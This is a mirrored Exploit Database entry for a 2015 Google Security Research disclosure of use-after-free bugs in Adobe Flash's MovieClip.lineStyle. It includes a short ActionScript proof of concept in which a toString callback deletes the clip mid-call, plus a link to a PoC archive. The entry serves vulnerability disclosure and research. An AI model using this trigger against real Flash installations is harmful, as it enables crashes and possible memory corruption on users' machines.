Adobe Flash MovieClip.lineStyle – Use-After-Frees

• Exploit Database
• 15 阅读

• 作者： Google Security Research
  日期： 2015-12-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39021/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=558
  
  There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:
  
  this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
  var o = {toString: func};
  triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);
  
  function func(){
  	
  	triangle_mc.removeMovieClip();
  	return "none";
  	
  	}
  
  A sample swf and fla are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip